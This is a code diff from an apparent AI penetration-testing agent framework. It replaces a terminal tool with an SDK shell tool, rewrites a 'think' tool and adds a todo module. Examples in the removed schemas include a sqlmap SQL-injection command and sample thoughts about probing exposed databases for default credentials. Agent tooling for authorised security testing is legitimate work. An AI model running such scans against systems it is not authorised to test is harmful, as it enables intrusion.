+
+ 1. ``fix_before`` must be a **VERBATIM** copy of the source
+ at those lines — same whitespace, indentation, line
+ breaks. If it doesn't match character-for-character, the
+ suggestion will corrupt the code when accepted.
+ 2. ``fix_after`` is the COMPLETE replacement for that
+ entire block (may be more or fewer lines).
+ 3. ``start_line`` / ``end_line`` must precisely cover the
+ lines in ``fix_before`` — no more, no less.
+
+ **Multi-part fixes**: many fixes touch multiple
+ non-contiguous parts of a file (e.g. add an import at the
+ top AND change code lower down). Since each
+ ``fix_before`` / ``fix_after`` pair covers ONE contiguous
+ block, create **separate location entries** for each
+ non-contiguous part. Use ``label`` to describe each part's
+ role (``"Add escape helper import"``, ``"Sanitize input
+ before SQL"``). Order primary fix first, supporting
+ changes (imports, config) after.
+
+ **Informational vs actionable**:
+ - With ``fix_before`` / ``fix_after``: actionable fix
+ (renders as a PR suggestion block).
+ - Without them: informational context (e.g. showing the
+ source of tainted data, or a sink that doesn't need
+ direct editing).
+
+ **Per-location fields**:
+ - ``file`` (REQUIRED): path **relative** to repo root. No
+ leading slash, no ``..``, no ``/workspace/`` prefix.
+ Right: ``"src/db/queries.ts"``. Wrong:
+ ``"/workspace/repo/src/db/queries.ts"``, ``"./src/x.py"``,
+ ``"../../etc/passwd"``.
+ - ``start_line`` (REQUIRED): 1-based; positive integer.
+ Verify against the actual file — do NOT guess.
+ - ``end_line`` (REQUIRED): 1-based; ``>= start_line``.
+ Only equal to ``start_line`` when the block truly is one
+ line.
+ - ``snippet`` (optional): verbatim source at this range.
+ - ``label`` (optional): short role description; especially
+ important for multi-part fixes.
+ - ``fix_before`` (optional): verbatim copy of the
+ vulnerable code, lines ``start_line``-``end_line``.
+ - ``fix_after`` (optional): complete replacement for that
+ block; syntactically valid.
+
+ **Common mistakes to avoid**:
+ - Guessing line numbers instead of reading the file.
+ - Paraphrasing / reformatting code in ``fix_before``.
+ - Setting ``start_line == end_line`` when the vulnerable
+ code spans multiple lines.
+ - Bundling an import addition and a far-away code change
+ into one location — split them.
+ - Padding ``fix_before`` with surrounding context lines
+ that aren't part of the fix.
+ - Duplicating the same change across multiple locations.
+ """
+ inner = ctx.context if isinstance(ctx.context, dict) else {}
+ raw_agent_id = inner.get("agent_id")
+ agent_id = raw_agent_id if isinstance(raw_agent_id, str) else None
+ agent_name = None
+ coordinator = inner.get("coordinator")
+ if agent_id is not None and coordinator is not None:
+ names = getattr(coordinator, "names", {})
+ if isinstance(names, dict):
+ raw_agent_name = names.get(agent_id)
+ agent_name = raw_agent_name if isinstance(raw_agent_name, str) else None
+
+ result = await _do_create(
+ title=title,
+ description=description,
+ impact=impact,
+ target=target,
+ technical_analysis=technical_analysis,
+ poc_description=poc_description,
+ poc_script_code=poc_script_code,
+ remediation_steps=remediation_steps,
+ cvss_breakdown=cvss_breakdown,
+ endpoint=endpoint,
+ method=method,
+ cve=cve,
+ cwe=cwe,
+ code_locations=code_locations,
+ agent_id=agent_id,
+ agent_name=agent_name,
+ )
+ return json.dumps(result, ensure_ascii=False, default=str)
diff --git a/strix/tools/shell/README.md b/strix/tools/shell/README.md
new file mode 100644
index 000000000..204c92564
--- /dev/null
+++ b/strix/tools/shell/README.md
@@ -0,0 +1,15 @@
+# shell — `exec_command` + `write_stdin`
+
+SDK-provided shell tools wired per-run from the sandbox session. Every CLI
+invocation the agent makes (nmap, ffuf, agent-browser, python3, …) goes
+through `exec_command`. `write_stdin` streams input to a still-running
+process started by an earlier `exec_command` (for interactive prompts).
+
+- **Implementation:** `agents.sandbox.capabilities.tools.shell_tool.ShellTool`
+ (in the upstream `agents` SDK)
+- **Wired in:** `strix/agents/factory.py` — added per-run via the SDK
+ `Shell` capability; `write_stdin` is wrapped to drop the SDK's `pid`
+ arg from the function schema.
+- **Sandbox env:** `http_proxy` / `https_proxy` route every shell child
+ through Caido; `AGENT_BROWSER_*`, `REQUESTS_CA_BUNDLE` etc. come from
+ `containers/Dockerfile`.
diff --git a/strix/tools/terminal/__init__.py b/strix/tools/terminal/__init__.py
deleted file mode 100644
index 5b03c7243..000000000
--- a/strix/tools/terminal/__init__.py
+++ /dev/null
@@ -1,4 +0,0 @@
-from .terminal_actions import terminal_action
-
-
-__all__ = ["terminal_action"]
diff --git a/strix/tools/terminal/terminal_actions.py b/strix/tools/terminal/terminal_actions.py
deleted file mode 100644
index 05bffd5e5..000000000
--- a/strix/tools/terminal/terminal_actions.py
+++ /dev/null
@@ -1,53 +0,0 @@
-from typing import Any, Literal
-
-from strix.tools.registry import register_tool
-
-from .terminal_manager import get_terminal_manager
-
-
-TerminalAction = Literal["new_terminal", "send_input", "wait", "close"]
-
-
-@register_tool
-def terminal_action(
- action: TerminalAction,
- inputs: list[str] | None = None,
- time: float | None = None,
- terminal_id: str | None = None,
-) -> dict[str, Any]:
- def _validate_inputs(action_name: str, inputs: list[str] | None) -> None:
- if not inputs:
- raise ValueError(f"inputs parameter is required for {action_name} action")
-
- def _validate_time(time_param: float | None) -> None:
- if time_param is None:
- raise ValueError("time parameter is required for wait action")
-
- def _validate_action(action_name: str) -> None:
- raise ValueError(f"Unknown action: {action_name}")
-
- manager = get_terminal_manager()
-
- try:
- match action:
- case "new_terminal":
- return manager.create_terminal(terminal_id, inputs)
-
- case "send_input":
- _validate_inputs(action, inputs)
- assert inputs is not None
- return manager.send_input(terminal_id, inputs)
-
- case "wait":
- _validate_time(time)
- assert time is not None
- return manager.wait_terminal(terminal_id, time)
-
- case "close":
- return manager.close_terminal(terminal_id)
-
- case _:
- _validate_action(action) # type: ignore[unreachable]
-
- except (ValueError, RuntimeError) as e:
- return {"error": str(e), "terminal_id": terminal_id, "snapshot": "", "is_running": False}
diff --git a/strix/tools/terminal/terminal_actions_schema.xml b/strix/tools/terminal/terminal_actions_schema.xml
deleted file mode 100644
index 5e73c645c..000000000
--- a/strix/tools/terminal/terminal_actions_schema.xml
+++ /dev/null
@@ -1,114 +0,0 @@
-
-
- Perform terminal actions using a terminal emulator instance. Each terminal instance
- is PERSISTENT and remains active until explicitly closed, allowing for multi-step
- workflows and long-running processes.
-
-
- The terminal action to perform: - new_terminal: Create a new terminal instance. This MUST be the first action for each terminal tab. - send_input: Send keyboard input to the specified terminal. - wait: Pause execution for specified number of seconds. Can be also used to get the current terminal state (screenshot, output, etc.) after using other tools. - close: Close the specified terminal instance. This MUST be the final action for each terminal tab.
-
-
- Required for 'new_terminal' and 'send_input' actions: - List of inputs to send to terminal. Each element in the list MUST be one of the following: - Regular text: "hello", "world", etc. - Literal text (not interpreted as special keys): prefix with "literal:" e.g., "literal:Home", "literal:Escape", "literal:Enter" to send these as text - Enter - Space - Backspace - Escape: "Escape", "^[", "C-[" - Tab: "Tab" - Arrow keys: "Left", "Right", "Up", "Down" - Navigation: "Home", "End", "PageUp", "PageDown" - Function keys: "F1" through "F12" Modifier keys supported with prefixes: - ^ or C- : Control (e.g., "^c", "C-c") - S- : Shift (e.g., "S-F6") - A- : Alt (e.g., "A-Home") - Combined modifiers for arrows: "S-A-Up", "C-S-Left" - Inputs MUST in all cases be sent as a LIST of strings, even if you are only sending one input. - Sending Inputs as a single string will NOT work.
-
-
- Required for 'wait' action. Number of seconds to pause execution. Can be fractional (e.g., 0.5 for half a second).
-
-
- Identifier for the terminal instance. Required for all actions except the first 'new_terminal' action. Allows managing multiple concurrent terminal tabs. - For 'new_terminal': if not provided, a default terminal is created. If provided, creates a new terminal with that ID. - For other actions: specifies which terminal instance to operate on. - Default terminal ID is "default" if not specified.
-
-
-
- Response containing: - snapshot: raw representation of current terminal state where you can see the output of the command - terminal_id: the ID of the terminal instance that was operated on
-
-
- Important usage rules:
- 1. PERSISTENCE: Terminal instances remain active and maintain their state (environment
- variables, current directory, running processes) until explicitly closed with the
- 'close' action. This allows for multi-step workflows across multiple tool calls.
- 2. MULTIPLE TERMINALS: You can run multiple terminal instances concurrently by using
- different terminal_id values. Each terminal operates independently.
- 3. Terminal interaction MUST begin with 'new_terminal' action for each terminal instance.
- 4. Only one action can be performed per call.
- 5. Input handling:
- - Regular text is sent as-is
- - Literal text: prefix with "literal:" to send special key names as literal text
- - Special keys must match supported key names
- - Modifier combinations follow specific syntax
- - Control can be specified as ^ or C- prefix
- - Shift (S-) works with special keys only
- - Alt (A-) works with any character/key
- 6. Wait action:
- - Time is specified in seconds
- - Can be used to wait for command completion
- - Can be fractional (e.g., 0.5 seconds)
- - Snapshot and output are captured after the wait
- - You should estimate the time it will take to run the command and set the wait time accordingly.
- - It can be from a few seconds to a few minutes, choose wisely depending on the command you are running and the task.
- 7. The terminal can operate concurrently with other tools. You may invoke
- browser, proxy, or other tools (in separate assistant messages) while maintaining
- active terminal sessions.
- 8. You do not need to close terminals after you are done, but you can if you want to
- free up resources.
- 9. You MUST end the inputs list with an "Enter" if you want to run the command, as
- it is not sent automatically.
- 10. AUTOMATIC SPACING BEHAVIOR:
- - Consecutive regular text inputs have spaces automatically added between them
- - This is helpful for shell commands: ["ls", "-la"] becomes "ls -la"
- - This causes problems for compound commands: [":", "w", "q"] becomes ": w q"
- - Use "literal:" prefix to bypass spacing: [":", "literal:wq"] becomes ":wq"
- - Special keys (Enter, Space, etc.) and literal strings never trigger spacing
- 11. WHEN TO USE LITERAL PREFIX:
- - Vim commands: [":", "literal:wq", "Enter"] instead of [":", "w", "q", "Enter"]
- - Any sequence where exact character positioning matters
- - When you need multiple characters sent as a single unit
- 12. Do NOT use terminal actions for file editing or writing. Use the replace_in_file,
- write_to_file, or read_file tools instead.
-
-
- # Create new terminal with Node.js (default terminal)
-
- new_terminal
- ["node", "Enter"]
-
-
- # Create a second (parallel) terminal instance for Python
-
- new_terminal
- python_terminal
- ["python3", "Enter"]
-
-
- # Send command to the default terminal
-
- send_input
- ["require('crypto').randomBytes(1000000).toString('hex')",
- "Enter"]
-
-
- # Wait for previous action on default terminal
-
- wait
- 2.0
-
-
- # Send multiple inputs with special keys to current terminal
-
- send_input
- ["sqlmap -u 'http://example.com/page.php?id=1' --batch", "Enter", "y",
- "Enter", "n", "Enter", "n", "Enter"]
-
-
- # WRONG: Vim command with automatic spacing (becomes ": w q")
-
- send_input
- [":", "w", "q", "Enter"]
-
-
- # CORRECT: Vim command using literal prefix (becomes ":wq")
-
- send_input
- [":", "literal:wq", "Enter"]
-
-
-
-
diff --git a/strix/tools/terminal/terminal_instance.py b/strix/tools/terminal/terminal_instance.py
deleted file mode 100644
index f5a70c38d..000000000
--- a/strix/tools/terminal/terminal_instance.py
+++ /dev/null
@@ -1,231 +0,0 @@
-import contextlib
-import os
-import pty
-import select
-import signal
-import subprocess
-import threading
-import time
-from typing import Any
-
-import pyte
-
-
-MAX_TERMINAL_SNAPSHOT_LENGTH = 10_000
-
-
-class TerminalInstance:
- def __init__(self, terminal_id: str, initial_command: str | None = None) -> None:
- self.terminal_id = terminal_id
- self.process: subprocess.Popen[bytes] | None = None
- self.master_fd: int | None = None
- self.is_running = False
- self._output_lock = threading.Lock()
- self._reader_thread: threading.Thread | None = None
-
- self.screen = pyte.HistoryScreen(80, 24, history=1000)
- self.stream = pyte.ByteStream()
- self.stream.attach(self.screen)
-
- self._start_terminal(initial_command)
-
- def _start_terminal(self, initial_command: str | None = None) -> None:
- try:
- self.master_fd, slave_fd = pty.openpty()
-
- shell = "/bin/bash"
-
- self.process = subprocess.Popen( # noqa: S603
- [shell, "-i"],
- stdin=slave_fd,
- stdout=slave_fd,
- stderr=slave_fd,
- cwd="/workspace",
- preexec_fn=os.setsid, # noqa: PLW1509 - Required for PTY functionality
- )
-
- os.close(slave_fd)
-
- self.is_running = True
-
- self._reader_thread = threading.Thread(target=self._read_output, daemon=True)
- self._reader_thread.start()
-
- time.sleep(0.5)
-
- if initial_command:
- self._write_to_terminal(initial_command)
-
- except (OSError, ValueError) as e:
- raise RuntimeError(f"Failed to start terminal: {e}") from e
-
- def _read_output(self) -> None:
- while self.is_running and self.master_fd:
- try:
- ready, _, _ = select.select([self.master_fd], [], [], 0.1)
- if ready:
- data = os.read(self.master_fd, 4096)
- if data:
- with self._output_lock, contextlib.suppress(TypeError):
- self.stream.feed(data)
- else:
- break
- except (OSError, ValueError):
- break
-
- def _write_to_terminal(self, data: str) -> None:
- if self.master_fd and self.is_running:
- try:
- os.write(self.master_fd, data.encode("utf-8"))
- except (OSError, ValueError) as e:
- raise RuntimeError("Terminal is no longer available") from e
-
- def send_input(self, inputs: list[str]) -> None:
- if not self.is_running:
- raise RuntimeError("Terminal is not running")
-
- for i, input_item in enumerate(inputs):
- if input_item.startswith("literal:"):
- literal_text = input_item[8:]
- self._write_to_terminal(literal_text)
- else:
- key_sequence = self._get_key_sequence(input_item)
- if key_sequence:
- self._write_to_terminal(key_sequence)
- else:
- self._write_to_terminal(input_item)
-
- time.sleep(0.05)
-
- if (
- i < len(inputs) - 1
- and not input_item.startswith("literal:")
- and not self._is_special_key(input_item)
- and not inputs[i + 1].startswith("literal:")
- and not self._is_special_key(inputs[i + 1])
- ):
- self._write_to_terminal(" ")
-
- def get_snapshot(self) -> dict[str, Any]:
- with self._output_lock:
- history_lines = [
- "".join(char.data for char in line_dict.values())
- for line_dict in self.screen.history.top
- ]
-
- current_lines = self.screen.display
-
- all_lines = history_lines + current_lines
- rendered_output = "\n".join(all_lines)
-
- if len(rendered_output) > MAX_TERMINAL_SNAPSHOT_LENGTH:
- rendered_output = rendered_output[-MAX_TERMINAL_SNAPSHOT_LENGTH:]
- truncated = True
- else:
- truncated = False
-
- return {
- "terminal_id": self.terminal_id,
- "snapshot": rendered_output,
- "is_running": self.is_running,
- "process_id": self.process.pid if self.process else None,
- "truncated": truncated,
- }
-
- def wait(self, duration: float) -> dict[str, Any]:
- time.sleep(duration)
- return self.get_snapshot()
-
- def close(self) -> None:
- self.is_running = False
-
- if self.process:
- with contextlib.suppress(OSError, ProcessLookupError):
- os.killpg(os.getpgid(self.process.pid), signal.SIGTERM)
-
- try:
- self.process.wait(timeout=2)
- except subprocess.TimeoutExpired:
- os.killpg(os.getpgid(self.process.pid), signal.SIGKILL)
- self.process.wait()
-
- if self.master_fd:
- with contextlib.suppress(OSError):
- os.close(self.master_fd)
- self.master_fd = None
-
- if self._reader_thread and self._reader_thread.is_alive():
- self._reader_thread.join(timeout=1)
-
- def _is_special_key(self, key: str) -> bool:
- special_keys = {
- "Enter",
- "Space",
- "Backspace",
- "Tab",
- "Escape",
- "Up",
- "Down",
- "Left",
- "Right",
- "Home",
- "End",
- "PageUp",
- "PageDown",
- "Insert",
- "Delete",
- } | {f"F{i}" for i in range(1, 13)}
-
- if key in special_keys:
- return True
-
- return bool(key.startswith(("^", "C-", "S-", "A-")))
-
- def _get_key_sequence(self, key: str) -> str | None:
- key_map = {
- "Enter": "\r",
- "Space": " ",
- "Backspace": "\x08",
- "Tab": "\t",
- "Escape": "\x1b",
- "Up": "\x1b[A",
- "Down": "\x1b[B",
- "Right": "\x1b[C",
- "Left": "\x1b[D",
- "Home": "\x1b[H",
- "End": "\x1b[F",
- "PageUp": "\x1b[5~",
- "PageDown": "\x1b[6~",
- "Insert": "\x1b[2~",
- "Delete": "\x1b[3~",
- "F1": "\x1b[11~",
- "F2": "\x1b[12~",
- "F3": "\x1b[13~",
- "F4": "\x1b[14~",
- "F5": "\x1b[15~",
- "F6": "\x1b[17~",
- "F7": "\x1b[18~",
- "F8": "\x1b[19~",
- "F9": "\x1b[20~",
- "F10": "\x1b[21~",
- "F11": "\x1b[23~",
- "F12": "\x1b[24~",
- }
-
- if key in key_map:
- return key_map[key]
-
- if key.startswith("^") and len(key) == 2:
- char = key[1].lower()
- return chr(ord(char) - ord("a") + 1) if "a" <= char <= "z" else None
-
- if key.startswith("C-") and len(key) == 3:
- char = key[2].lower()
- return chr(ord(char) - ord("a") + 1) if "a" <= char <= "z" else None
-
- return None
-
- def is_alive(self) -> bool:
- if not self.process:
- return False
- return self.process.poll() is None
diff --git a/strix/tools/terminal/terminal_manager.py b/strix/tools/terminal/terminal_manager.py
deleted file mode 100644
index 9d5f32b21..000000000
--- a/strix/tools/terminal/terminal_manager.py
+++ /dev/null
@@ -1,191 +0,0 @@
-import atexit
-import contextlib
-import signal
-import sys
-import threading
-from typing import Any
-
-from .terminal_instance import TerminalInstance
-
-
-class TerminalManager:
- def __init__(self) -> None:
- self.terminals: dict[str, TerminalInstance] = {}
- self._lock = threading.Lock()
- self.default_terminal_id = "default"
-
- self._register_cleanup_handlers()
-
- def create_terminal(
- self, terminal_id: str | None = None, inputs: list[str] | None = None
- ) -> dict[str, Any]:
- if terminal_id is None:
- terminal_id = self.default_terminal_id
-
- with self._lock:
- if terminal_id in self.terminals:
- raise ValueError(f"Terminal '{terminal_id}' already exists")
-
- initial_command = None
- if inputs:
- command_parts: list[str] = []
- for input_item in inputs:
- if input_item == "Enter":
- initial_command = " ".join(command_parts) + "\n"
- break
- if input_item.startswith("literal:"):
- command_parts.append(input_item[8:])
- elif input_item not in [
- "Space",
- "Tab",
- "Backspace",
- ]:
- command_parts.append(input_item)
-
- try:
- terminal = TerminalInstance(terminal_id, initial_command)
- self.terminals[terminal_id] = terminal
-
- if inputs and not initial_command:
- terminal.send_input(inputs)
- result = terminal.wait(2.0)
- else:
- result = terminal.wait(1.0)
-
- result["message"] = f"Terminal '{terminal_id}' created successfully"
-
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to create terminal '{terminal_id}': {e}") from e
- else:
- return result
-
- def send_input(
- self, terminal_id: str | None = None, inputs: list[str] | None = None
- ) -> dict[str, Any]:
- if terminal_id is None:
- terminal_id = self.default_terminal_id
-
- if not inputs:
- raise ValueError("No inputs provided")
-
- with self._lock:
- if terminal_id not in self.terminals:
- raise ValueError(f"Terminal '{terminal_id}' not found")
-
- terminal = self.terminals[terminal_id]
-
- try:
- terminal.send_input(inputs)
- result = terminal.wait(2.0)
- result["message"] = f"Input sent to terminal '{terminal_id}'"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to send input to terminal '{terminal_id}': {e}") from e
- else:
- return result
-
- def wait_terminal(
- self, terminal_id: str | None = None, duration: float = 1.0
- ) -> dict[str, Any]:
- if terminal_id is None:
- terminal_id = self.default_terminal_id
-
- with self._lock:
- if terminal_id not in self.terminals:
- raise ValueError(f"Terminal '{terminal_id}' not found")
-
- terminal = self.terminals[terminal_id]
-
- try:
- result = terminal.wait(duration)
- result["message"] = f"Waited {duration}s on terminal '{terminal_id}'"
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to wait on terminal '{terminal_id}': {e}") from e
- else:
- return result
-
- def close_terminal(self, terminal_id: str | None = None) -> dict[str, Any]:
- if terminal_id is None:
- terminal_id = self.default_terminal_id
-
- with self._lock:
- if terminal_id not in self.terminals:
- raise ValueError(f"Terminal '{terminal_id}' not found")
-
- terminal = self.terminals.pop(terminal_id)
-
- try:
- terminal.close()
- except (OSError, ValueError, RuntimeError) as e:
- raise RuntimeError(f"Failed to close terminal '{terminal_id}': {e}") from e
- else:
- return {
- "terminal_id": terminal_id,
- "message": f"Terminal '{terminal_id}' closed successfully",
- "snapshot": "",
- "is_running": False,
- }
-
- def get_terminal_snapshot(self, terminal_id: str | None = None) -> dict[str, Any]:
- if terminal_id is None:
- terminal_id = self.default_terminal_id
-
- with self._lock:
- if terminal_id not in self.terminals:
- raise ValueError(f"Terminal '{terminal_id}' not found")
-
- terminal = self.terminals[terminal_id]
-
- return terminal.get_snapshot()
-
- def list_terminals(self) -> dict[str, Any]:
- with self._lock:
- terminal_info = {}
- for tid, terminal in self.terminals.items():
- terminal_info[tid] = {
- "is_running": terminal.is_running,
- "is_alive": terminal.is_alive(),
- "process_id": terminal.process.pid if terminal.process else None,
- }
-
- return {"terminals": terminal_info, "total_count": len(terminal_info)}
-
- def cleanup_dead_terminals(self) -> None:
- with self._lock:
- dead_terminals = []
- for tid, terminal in self.terminals.items():
- if not terminal.is_alive():
- dead_terminals.append(tid)
-
- for tid in dead_terminals:
- terminal = self.terminals.pop(tid)
- with contextlib.suppress(Exception):
- terminal.close()
-
- def close_all_terminals(self) -> None:
- with self._lock:
- terminals_to_close = list(self.terminals.values())
- self.terminals.clear()
-
- for terminal in terminals_to_close:
- with contextlib.suppress(Exception):
- terminal.close()
-
- def _register_cleanup_handlers(self) -> None:
- atexit.register(self.close_all_terminals)
-
- signal.signal(signal.SIGTERM, self._signal_handler)
- signal.signal(signal.SIGINT, self._signal_handler)
-
- if hasattr(signal, "SIGHUP"):
- signal.signal(signal.SIGHUP, self._signal_handler)
-
- def _signal_handler(self, _signum: int, _frame: Any) -> None:
- self.close_all_terminals()
- sys.exit(0)
-
-
-_terminal_manager = TerminalManager()
-
-
-def get_terminal_manager() -> TerminalManager:
- return _terminal_manager
diff --git a/strix/tools/thinking/__init__.py b/strix/tools/thinking/__init__.py
index c906c223c..e69de29bb 100644
--- a/strix/tools/thinking/__init__.py
+++ b/strix/tools/thinking/__init__.py
@@ -1,4 +0,0 @@
-from .thinking_actions import think
-
-
-__all__ = ["think"]
diff --git a/strix/tools/thinking/thinking_actions.py b/strix/tools/thinking/thinking_actions.py
deleted file mode 100644
index 4866f5563..000000000
--- a/strix/tools/thinking/thinking_actions.py
+++ /dev/null
@@ -1,18 +0,0 @@
-from typing import Any
-
-from strix.tools.registry import register_tool
-
-
-@register_tool(sandbox_execution=False)
-def think(thought: str) -> dict[str, Any]:
- try:
- if not thought or not thought.strip():
- return {"success": False, "message": "Thought cannot be empty"}
-
- return {
- "success": True,
- "message": f"Thought recorded successfully with {len(thought.strip())} characters",
- }
-
- except (ValueError, TypeError) as e:
- return {"success": False, "message": f"Failed to record thought: {e!s}"}
diff --git a/strix/tools/thinking/thinking_actions_schema.xml b/strix/tools/thinking/thinking_actions_schema.xml
deleted file mode 100644
index 0011193d9..000000000
--- a/strix/tools/thinking/thinking_actions_schema.xml
+++ /dev/null
@@ -1,52 +0,0 @@
-
-
- Use the tool to think about something. It will not obtain new information or change the
- database. Use it when complex reasoning or some cache memory is needed.
- This tool creates dedicated space for structured thinking during complex tasks,
- particularly useful for:
- - Tool output analysis: When you need to carefully process the output of previous tool calls
- - Policy-heavy environments: When you need to follow detailed guidelines and verify compliance
- - Sequential decision making: When each action builds on previous ones and mistakes are costly
- - Multi-step problem solving: When you need to break down complex problems into manageable steps
-
-
- The thought or reasoning to record
-
-
-
- Response containing: - success: Whether the thought was recorded successfully - message: Confirmation message with character count or error details
-
-
- # Planning and strategy
-
- I need to analyze the scan results systematically. First, let me review
- the open ports: 22 (SSH), 80 (HTTP), 443 (HTTPS), and 3306 (MySQL). The MySQL port being
- externally accessible is a high priority security concern. I should check for default
- credentials and version information. For the web services, I need to enumerate
- directories and test for common web vulnerabilities.
-
-
- # Analysis of tool outputs
-
- The Nmap scan revealed 15 open ports, but three stand out as concerning:
- - Port 3306 (MySQL) - Database should not be exposed externally
- - Port 5432 (PostgreSQL) - Another database port that's risky when public
- - Port 6379 (Redis) - Often misconfigured and can lead to data exposure
- I should prioritize testing these database services for authentication bypass and
- information disclosure vulnerabilities.
-
-
- # Decision making and next steps
-
- Based on the vulnerability scan results, I've identified several critical
- issues that need immediate attention:
- 1. SQL injection in the login form (confirmed with sqlmap)
- 2. Reflected XSS in the search parameter
- 3. Directory traversal in the file upload function
- I should document these findings with proof-of-concept exploits and assign appropriate
- CVSS scores. The SQL injection poses the highest risk due to potential data
- exfiltration.
-
-
-
-
diff --git a/strix/tools/thinking/tool.py b/strix/tools/thinking/tool.py
new file mode 100644
index 000000000..8da93b13c
--- /dev/null
+++ b/strix/tools/thinking/tool.py
@@ -0,0 +1,37 @@
+"""``think`` — record a private chain-of-thought note with no side effects."""
+
+from __future__ import annotations
+
+import json
+
+from agents import function_tool
+
+
+@function_tool(timeout=10)
+async def think(thought: str) -> str:
+ """Record a private chain-of-thought note. No side effects, no new info.
+
+ Use ``think`` when you need a dedicated space to reason before acting —
+ not as an output channel. It's particularly valuable for:
+
+ - **Tool output analysis** — carefully processing the output of a
+ previous tool call before deciding the next step.
+ - **Policy-heavy environments** — when you need to follow detailed
+ guidelines (engagement scope, auth boundaries) and verify compliance
+ before each action.
+ - **Sequential decision making** — when each action builds on previous
+ ones and mistakes are costly (e.g., destructive operations,
+ irreversible auth changes).
+ - **Multi-step exploit planning** — breaking down a complex chain into
+ manageable steps and tracking what's been confirmed vs. assumed.
+
+ Structure your thought to be useful: current state, what you've
+ confirmed, your next planned actions, risk assessment. Don't use
+ ``think`` to chat — use it to plan.
+
+ Args:
+ thought: The reasoning to record. Must be non-empty.
+ """
+ if not thought or not thought.strip():
+ return json.dumps({"success": False, "error": "Thought cannot be empty"})
+ return json.dumps({"success": True, "message": "Thought recorded"})
diff --git a/strix/tools/todo/__init__.py b/strix/tools/todo/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/strix/tools/todo/tools.py b/strix/tools/todo/tools.py
new file mode 100644
index 000000000..07761f5f8
--- /dev/null
+++ b/strix/tools/todo/tools.py
@@ -0,0 +1,585 @@
+"""Per-agent todo tools — mirrored to {state_dir}/todos.json."""
+
+from __future__ import annotations
+
+import json
+import logging
+import tempfile
+import threading
+import uuid
+from datetime import UTC, datetime
+from pathlib import Path
+from typing import Any
+
+from agents import RunContextWrapper, function_tool
+
+
+logger = logging.getLogger(__name__)
+
+
+VALID_PRIORITIES = ["low", "normal", "high", "critical"]
+VALID_STATUSES = ["pending", "in_progress", "done"]
+
+_PRIORITY_RANK = {"critical": 0, "high": 1, "normal": 2, "low": 3}
+_STATUS_RANK = {"done": 0, "in_progress": 1, "pending": 2}
+
+
+def _todo_sort_key(todo: dict[str, Any]) -> tuple[int, int, str]:
+ return (
+ _STATUS_RANK.get(todo.get("status", "pending"), 99),
+ _PRIORITY_RANK.get(todo.get("priority", "normal"), 99),
+ todo.get("created_at", ""),
+ )
+
+
+_todos_storage: dict[str, dict[str, dict[str, Any]]] = {}
+
+_todos_path: Path | None = None
+_todos_io_lock = threading.RLock()
+
+
+def hydrate_todos_from_disk(state_dir: Path) -> None:
+ global _todos_path # noqa: PLW0603
+ _todos_path = state_dir / "todos.json"
+ with _todos_io_lock:
+ _todos_storage.clear()
+ if not _todos_path.exists():
+ return
+ try:
+ data = json.loads(_todos_path.read_text(encoding="utf-8"))
+ except (OSError, json.JSONDecodeError):
+ logger.exception(
+ "todos.json at %s is unreadable; starting with empty todos",
+ _todos_path,
+ )
+ return
+ if not isinstance(data, dict):
+ return
+ loaded = 0
+ for aid, by_id in data.items():
+ if not isinstance(aid, str) or not isinstance(by_id, dict):
+ continue
+ cleaned = {
+ str(tid): t
+ for tid, t in by_id.items()
+ if isinstance(tid, str) and isinstance(t, dict)
+ }
+ if cleaned:
+ _todos_storage[aid] = cleaned
+ loaded += len(cleaned)
+ logger.info(
+ "todos hydrated from %s (%d agent(s), %d todo(s))",
+ _todos_path,
+ len(_todos_storage),
+ loaded,
+ )
+
+
+def _persist() -> None:
+ path = _todos_path
+ if path is None:
+ return
+ try:
+ payload = json.dumps(_todos_storage, ensure_ascii=False, default=str)
+ path.parent.mkdir(parents=True, exist_ok=True)
+ with (
+ _todos_io_lock,
+ tempfile.NamedTemporaryFile(
+ mode="w",
+ encoding="utf-8",
+ dir=str(path.parent),
+ prefix=f".{path.name}.",
+ suffix=".tmp",
+ delete=False,
+ ) as tmp,
+ ):
+ tmp.write(payload)
+ tmp_path = Path(tmp.name)
+ tmp_path.replace(path)
+ except Exception:
+ logger.exception("todos persist to %s failed", path)
+
+
+def _agent_id_from(ctx: RunContextWrapper) -> str:
+ inner = ctx.context if isinstance(ctx.context, dict) else {}
+ return str(inner.get("agent_id") or "default")
+
+
+def _get_agent_todos(agent_id: str) -> dict[str, dict[str, Any]]:
+ return _todos_storage.setdefault(agent_id, {})
+
+
+def _normalize_priority(priority: str | None, default: str = "normal") -> str:
+ candidate = (priority or default or "normal").lower()
+ if candidate not in VALID_PRIORITIES:
+ raise ValueError(f"Invalid priority. Must be one of: {', '.join(VALID_PRIORITIES)}")
+ return candidate
+
+
+def _sorted_todos(agent_id: str) -> list[dict[str, Any]]:
+ todos_list = [
+ {**todo, "todo_id": todo_id} for todo_id, todo in _get_agent_todos(agent_id).items()
+ ]
+ todos_list.sort(key=_todo_sort_key)
+ return todos_list
+
+
+def _normalize_todo_ids(raw_ids: Any) -> list[str]:
+ if raw_ids is None:
+ return []
+ if isinstance(raw_ids, str):
+ stripped = raw_ids.strip()
+ if not stripped:
+ return []
+ try:
+ data = json.loads(stripped)
+ except json.JSONDecodeError:
+ data = stripped.split(",") if "," in stripped else [stripped]
+ if isinstance(data, list):
+ return [str(item).strip() for item in data if str(item).strip()]
+ return [str(data).strip()]
+ if isinstance(raw_ids, list):
+ return [str(item).strip() for item in raw_ids if str(item).strip()]
+ return [str(raw_ids).strip()]
+
+
+def _normalize_bulk_updates(raw_updates: Any) -> list[dict[str, Any]]:
+ if raw_updates is None:
+ return []
+ data: Any = raw_updates
+ if isinstance(raw_updates, str):
+ stripped = raw_updates.strip()
+ if not stripped:
+ return []
+ try:
+ data = json.loads(stripped)
+ except json.JSONDecodeError as e:
+ raise ValueError("Updates must be valid JSON") from e
+
+ if isinstance(data, dict):
+ data = [data]
+ if not isinstance(data, list):
+ raise TypeError("Updates must be a list of update objects")
+
+ normalized: list[dict[str, Any]] = []
+ for item in data:
+ if not isinstance(item, dict):
+ raise TypeError("Each update must be an object with todo_id")
+ todo_id = item.get("todo_id") or item.get("id")
+ if not todo_id:
+ raise ValueError("Each update must include 'todo_id'")
+ normalized.append(
+ {
+ "todo_id": str(todo_id).strip(),
+ "title": item.get("title"),
+ "description": item.get("description"),
+ "priority": item.get("priority"),
+ "status": item.get("status"),
+ },
+ )
+ return normalized
+
